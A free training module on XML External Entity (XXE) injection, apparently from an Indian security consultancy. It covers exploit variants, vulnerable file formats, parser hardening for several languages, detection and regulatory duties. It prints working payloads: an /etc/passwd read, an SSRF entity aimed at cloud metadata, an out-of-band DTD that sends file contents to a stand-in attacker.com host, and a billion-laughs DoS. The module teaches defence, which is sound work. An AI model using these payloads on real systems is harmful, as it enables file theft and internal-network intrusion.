Module 10 · XML External Entity Injection (XXE)

Manish Garg
Manish Garg Associate of (ISC)² · RingSafe
Apr 19, 2026
11 min read
Read as

Last updated: May 1, 2026

100% Free

No signup. No paywall. No catch. One of our 10 most-requested practitioner modules — published in full so anyone can learn for free. We earn through consulting, not by gating knowledge.

See all 10 free modules →

XML External Entity (XXE) injection exploits XML parsers that process references to external entities. A classic vulnerability in XML-consuming applications — SOAP services, document upload features, SAML, configuration parsers. Can lead to file disclosure, SSRF, DoS, and RCE.

XML External Entity (XXE) injection exploits XML parsers that process references to external entities. A classic vulnerability in XML-consuming applications — SOAP services, document upload features, SAML, configuration parsers. Can lead to file disclosure, SSRF, DoS, and RCE.

How XXE works

XML supports external entities — references to external resources. When a parser fetches the referenced content and substitutes it into the document, attacker-controlled references can point at sensitive local files or internal URLs.

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Parser sees &xxe;, expands it to contents of /etc/passwd. If the parsed content is echoed back (e.g. in an API response), attacker receives the file.

Exploit variants

Local file read

Read /etc/passwd, /etc/shadow (if running as root), web server config, source code, credentials.

SSRF via XXE

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

Parser fetches the URL; same impact as SSRF (cloud metadata exfiltration).

Blind XXE (out-of-band)

If response is not echoed, use external DTD to exfiltrate via DNS/HTTP callback:

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>

# attacker.com/evil.dtd:
<!ENTITY % callback "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%callback;
%send;

Billion Laughs (DoS)

<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;...&lol2;">
...

Each entity expands into 10 of the previous. &lol9; expands to 1 billion “lol” strings — parser runs out of memory.

Common vulnerable contexts

  • SOAP APIs parsing XML request bodies
  • Document upload: DOCX, ODT, XLSX — all contain XML internally
  • SVG image uploads (SVG is XML)
  • SAML single sign-on (SAML responses are XML)
  • XML-based config file parsers
  • PDF generation (if it uses XML internally)
  • RSS/Atom feed readers

Defences

  1. Disable external entity processing in your XML parser:
    # Python (defusedxml — use this instead of stdlib)
    import defusedxml.ElementTree as ET
    tree = ET.parse('input.xml')
    
    # Java (DocumentBuilder)
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
    # .NET
    xmlDoc.XmlResolver = null;
    
    # PHP (libxml)
    libxml_disable_entity_loader(true);  # PHP 8+ disables by default
  2. Use non-XML formats where possible (JSON, protobuf) — less historical baggage
  3. Parse content-type strictly — don’t let user-submitted XML be parsed if JSON was expected
  4. WAF rules — detect XXE payload patterns in request bodies
  5. Input validation — validate XML schema, reject unexpected structures

Testing for XXE

# Test payload 1 — direct file read
POST /api/xml-import HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

# Test payload 2 — OOB via Burp Collaborator
# Replace URL with your Collaborator domain
<!ENTITY xxe SYSTEM "http://YOUR_COLLAB_ID.burpcollaborator.net">

Quick reference summary

  • XXE = XML External Entity injection; parser fetches attacker-controlled external content
  • Impact: file read, SSRF, DoS (billion laughs), sometimes RCE
  • Vulnerable surfaces: SOAP APIs, DOCX/SVG uploads, SAML, RSS parsers, XML configs
  • Defence: disable DOCTYPE + external entities in parser; use defusedxml in Python; configure DocumentBuilder in Java
  • Modern JSON/protobuf APIs are XXE-immune by design
  • Blind XXE exfiltrates via OOB DNS/HTTP callback
🧠
Check your understanding

Module Quiz · 20 questions

Pass with 80%+ to mark this module complete. Unlimited retries. Each question shows an explanation.


⚙ Optimisation · Performance · Security — extended

Practical depth on what to tune, what to harden, and how this maps to Indian regulatory expectations.

XXE in 2026 — where the XML parsers still live

Modern web stacks use JSON, but XML persists in: SOAP (still common in BFSI legacy), SAML (every SSO flow), Office documents (DOCX is zipped XML), SVG uploads, OpenAPI YAML (which sometimes embeds XML via include), and a long tail of B2B integrations (banking ISO 20022, insurance ACORD). The XXE primitive: an attacker injects a DOCTYPE with an external entity, the parser fetches the URL (file:// or http://) and includes the content.

1Read local files (/etc/passwd, app config).
2SSRF to internal endpoints.
3Out-of-band data exfil via DNS/HTTP.
4Billion-laughs DoS. Defence: disable DTDs and external entities at the parser level. Java: setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). Python: use defusedxml. .NET: XmlReaderSettings.DtdProcessing = Prohibit.

Operational checklist + detection

1Inventory every XML-parsing library / endpoint.
2Verify parser config disables DTDs; default-deny is the only safe pattern.
3For SAML — use a known library (Spring Security, python3-saml) that handles XXE correctly; do not write your own.
4For SVG uploads — use defusedxml + content-type validation; serve via a sandboxed CDN domain.
5Detection: WAF rules block common XXE payloads (<!ENTITY etc.); SOC alerts on outbound HTTP to interact.sh-style domains; outbound DNS to attacker-controlled hostnames. India context: Indian banking SOAP/SAML integrations remain XXE-relevant in 2026; older WebSphere / WebLogic stacks particularly vulnerable. RBI inspection findings have cited XXE in penetration test reports.

Out-of-band XXE — exfiltration without server response visibility

Many XXE-vulnerable parsers do not echo the entity content in a visible response. Out-of-band XXE works around this: the attacker hosts an external DTD on their server; the victim parser loads it; the DTD references a parameter entity that wraps a local file in a URL fetched back to the attacker. The result: http://attacker/?data=<contents-of-local-file> reaches the attacker. Tooling: xxeinjector, oxml_xxe.

Defencedisable external DTD loading and resolve-external-entity at the parser level — most modern libraries default to safe but verify configuration.

For Indian SAML / SOAP integrationsout-of-band XXE has been used to read configuration files containing service-account credentials; from there, full lateral movement. The audit step is to test every XML-accepting endpoint with an out-of-band payload pointing at a controlled callback.

XXE in modern formats — DOCX, SVG, OOXML, KML

XML lurks in many “modern” file formats. DOCX / XLSX / PPTX are ZIP archives of XML. SVG is XML; commonly accepted as image upload. KML in mapping apps. EPUB in e-readers. Any of these uploaded to a parser-equipped server can carry XXE payloads. Defence patterns:

1Use defusedxml wherever Python parses XML, including indirectly through libraries.
2Strip / sanitise SVG before serving — convert to PNG server-side, or use DOMPurify-equivalent for SVG.
3For OOXML — extract via a library that itself uses safe XML config (Apache POI / openpyxl / docx are mostly safe; verify version).
4Treat any user-uploaded file as potentially XML-laced; prefer rendering to PNG / PDF over showing the original. For Indian e-government / KYC: SVG-based signature uploads have been a documented XXE vector; mandate re-encoding before storage.

Library-by-library XML hardening reference

Most XXE bugs come from library defaults that lean toward feature-completeness over safety.

JavaDocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + setFeature("http://xml.org/sax/features/external-general-entities", false) + setFeature("http://xml.org/sax/features/external-parameter-entities", false) + setXIncludeAware(false); setExpandEntityReferences(false);. SAXParser, XMLReader, TransformerFactory, SchemaFactory, Validator each need their own settings.

Pythonimport defusedxml in place of stdlib xml.etree / xml.dom / xml.sax. Defusedxml refuses dangerous constructs by default.

.NETXmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit; XmlDocument .XmlResolver = null.

PHPlibxml_disable_entity_loader(true) for libxml-backed code; for SimpleXML, custom parser with safe options.

Node.jsmost XML libraries (fast-xml-parser, xml2js) do not load external entities by default; verify per library.

Library upgrade disciplinepin versions, watch CVE feeds, automate dependency updates. Many XXE bugs are old known issues in unmaintained libraries.

Performance discipline that strengthens security

A practical performance discipline that applies regardless of the specific vulnerability class is to instrument every endpoint with three SLOs: latency at the 50th, 95th, and 99th percentiles. The 50th percentile reflects typical user experience, the 95th catches tail behaviour visible to a meaningful fraction of users, and the 99th captures the long-tail outliers that often hide bugs (timeouts on a stale dependency, locking contention under load, garbage-collection pauses on a hot endpoint). Every release should compare these percentiles against the previous baseline; regressions of more than ten percent on the 95th percentile are typically worth investigating before shipping. Modern observability stacks make this routine — Datadog APM, New Relic, Honeycomb, Grafana Tempo with OpenTelemetry instrumentation, and on the open-source side Jaeger plus Prometheus plus Grafana — but the discipline matters more than the tool. Indian product teams that have adopted this percentile-driven culture report fewer surprise outages and a smaller incident-response load over time, which compounds into a stronger security posture: the same instrumentation that catches a slow endpoint also catches an exploitation attempt that forces unusual code paths.

Observability that catches attacks alongside outages

Observability for security overlaps with observability for reliability but adds a few specific signals worth instrumenting. First, application-layer authentication and authorisation events should produce structured logs with the user identifier, the action attempted, the source IP, the User-Agent fingerprint, and the outcome. Second, every state-changing API call should log its idempotency key, the request body shape, and the resulting object identifier. Third, every external dependency call should log the destination, the response code, and the latency. Together these three categories produce a clean event stream that a SIEM can correlate to detect both functional regressions and active attacks. The cost is moderate — log storage in Elasticsearch or Splunk runs perhaps thirty to sixty rupees per gigabyte per year at typical Indian-tier prices — and the payoff is dramatic: incidents that previously took days to investigate are typically resolved in hours when the relevant evidence has been pre-indexed. Indian regulators increasingly expect this level of operational logging, particularly RBI under the Cyber Security Framework Annex 1 and SEBI under the CSCRF master circular.

DPDP and sectoral obligations a practitioner cannot ignore

Under India’s Digital Personal Data Protection Act 2023, the operational obligations on any web application that handles personal data extend beyond simple consent collection. Section 8 requires that data fiduciaries implement reasonable security safeguards — interpreted in practice as reflecting a documented information security programme, regular vulnerability assessment, and demonstrable controls aligned to a recognised standard such as ISO 27001 or NIST CSF. Section 9 imposes data principal rights including access, correction, and erasure, which means the application must be architected so that these requests can be fulfilled within the prescribed timeframes (currently expected to be on the order of thirty days). Section 8(6) imposes breach notification: when a personal-data breach occurs, the data fiduciary must notify the Data Protection Board and affected data principals within prescribed timeframes (the draft Rules suggest seventy-two hours for material breaches). For the practitioner this translates into specific engineering tasks: data inventory and lineage tracking, retention controls and automated deletion at end-of-purpose, audit-grade logging of every access to personal data, breach-detection telemetry, and a formal incident-response playbook with regulatory-notification templates. The 2024-2025 inspections by RBI and SEBI of regulated entities have already cited DPDP-overlay obligations, so the alignment is not theoretical; it shapes what auditors expect to see in the next inspection cycle.

A small threat-modelling routine before every release

A short threat-modelling exercise specific to this vulnerability class is worth running before each release. The classic STRIDE framework — Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege — provides a useful checklist when applied to the specific data flow at hand. Begin by drawing the data flow for the feature being changed: external actors at the edge, the trust boundaries they cross, the back-end services involved, the data stores read or written, and the third-party integrations called. For each trust boundary crossing, ask which STRIDE categories apply and what controls mitigate them. The output is a small set of testable assertions: this endpoint must not allow tenant A to read tenant B’s records, this mutation must require step-up authentication, this third-party call must validate the response signature, and so on. Convert each assertion into an automated test or a manual verification step in the release checklist. The discipline pays off in two ways: first, it catches design-level bugs before they reach code review; second, it produces an auditable record of security thinking that regulators value. Indian product teams that have institutionalised this practice report fewer security incidents and shorter mean-time-to-remediate when issues are found, which compounds into better customer trust and lower regulatory friction over time.

Further reading

Additional FAQs

My app uses JSON only — am I XXE-safe?

Mostly — but check every dependency. SAML, OpenAPI imports, file uploads (DOCX, SVG), webhooks from B2B partners often involve XML even if your primary API is JSON.

Is XXE still in OWASP Top 10?

Merged into “Security Misconfiguration” in the 2021 edition but remains a distinct attack class. Treat as a checklist item independent of the Top 10 numbering.

Want this for your team?

Custom team training + practitioner advisory

Beyond the free academy — we run private workshops, vCISO advisory, and red-team exercises tailored to your stack. For Indian SMBs scaling past their first hire.

Book team training call Replies in 4 working hrs · India-only · Senior consultants